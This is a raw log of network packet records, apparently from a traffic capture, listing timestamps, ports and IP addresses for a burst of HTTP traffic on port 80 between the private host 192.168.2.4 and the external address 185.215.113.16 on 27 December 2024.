Dec 27, 2024 09:01:47.419228077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.419310093 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.419333935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.420095921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.420190096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.420242071 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.420928001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.420986891 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.421044111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.421797037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.421935081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.421988010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.422652006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.422739983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.422785044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.423506021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.423556089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.423583031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.424413919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.424542904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.424593925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.425194025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.425262928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.425292969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.426048994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.426147938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.426203012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.426894903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.426939964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.426978111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.427815914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.427927971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.427980900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.428631067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.428683043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.428720951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.429476976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.429590940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.429644108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.430346966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.430385113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.430447102 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.431164980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.431214094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.431256056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.432039976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.432131052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.432183981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.432876110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.432920933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.433015108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.433729887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.433805943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.433857918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.434568882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.434629917 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.434673071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.435446024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.435545921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.435595036 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.436290026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.436342001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.436383963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.437130928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.437273979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.437328100 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.437973976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.438085079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.438144922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.438837051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.438888073 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.438939095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.439716101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.439807892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.439866066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.440538883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.440592051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.440633059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.441410065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.441478014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.441529989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.442250967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.442359924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.442418098 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.443109035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.443159103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.443193913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.443928957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.444041014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.444089890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.444757938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.444819927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.447532892 CET	80	49887	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:47.484855890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.484874010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.484944105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.485254049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.485366106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.485411882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.486083031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.486201048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.486377001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.486963987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.487068892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.487112045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.487802029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.487914085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.487981081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.488679886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.488794088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.488851070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.489531994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.489747047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.489797115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.490375042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.490489006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.490540981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.491244078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.491354942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.491435051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.492099047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.492178917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.492224932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.492983103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.493036032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.493215084 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.493769884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.493872881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.493912935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.494653940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.494744062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.494844913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.495507002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.495580912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.495628119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.496366978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.496470928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.496529102 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.497189045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.497351885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.497400045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.498043060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.498260975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.498498917 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.498924017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.499027014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.499073029 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.499758959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.499866962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.499924898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.500612974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.500734091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.500780106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.501467943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.501570940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.501640081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.502310038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.502422094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.502464056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.503170013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.503266096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.503319025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.504017115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.504116058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.504173994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.504858017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.504971027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.505019903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.505734921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.505868912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.505923986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.506640911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.506758928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.506808043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.507531881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.507705927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.507746935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.508272886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.508389950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.508451939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.509141922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.509238005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.509285927 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.510000944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.510094881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.510143042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.510859013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.510951996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.510999918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.511693954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.511746883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.512109995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.512566090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.512650967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.512692928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.513397932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.513501883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.513564110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.514244080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.514388084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.514436960 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.515103102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.515203953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.515414953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.515959978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.516066074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.516113043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.516802073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.516938925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.517271042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.517652988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.517785072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.517889023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.518528938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.518661976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.518708944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.519367933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.519509077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.519654036 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.520210981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.520322084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.520373106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.521065950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.521192074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.521243095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.521945953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.522052050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.522144079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.522810936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.522906065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.522957087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.523614883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.523715019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.523761988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.524534941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.524564028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.525408030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.525453091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.525470018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.525512934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.526227951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.526323080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.526364088 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.527062893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.527154922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.527235985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.527879953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.528032064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.528086901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.528784990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.528839111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.529014111 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.529541969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.579813957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.676732063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.676801920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.676812887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.676959991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.676966906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.676971912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.676985025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.677016020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.677047014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.677716970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.677767992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.677778959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.677823067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.677840948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.677922964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.678637028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.678648949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.678662062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.678680897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.678694010 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.678735971 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.679393053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.679454088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.679466009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.679513931 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.679565907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.679611921 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.680272102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.680314064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.680326939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.680372000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.680428028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.680471897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.681171894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.681214094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.681226969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.681272030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.681293011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.681345940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.682024002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682044029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682074070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682094097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.682164907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682912111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682941914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682952881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.682976007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.683017015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.683056116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.683722019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.683757067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.683820963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.683832884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.683872938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.683890104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.683936119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.684644938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.684703112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.684715986 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.684761047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.684796095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.684844017 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.685511112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.685556889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.685575008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.685619116 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.685641050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.685684919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.686387062 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.686448097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.686460018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.686502934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.686534882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.686580896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.687279940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.687345982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.687359095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.687411070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.687427044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.687469959 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.688183069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.688235044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.688246965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.688287020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.688309908 CET	80	49876	185.215.113.16	192.168.2.4
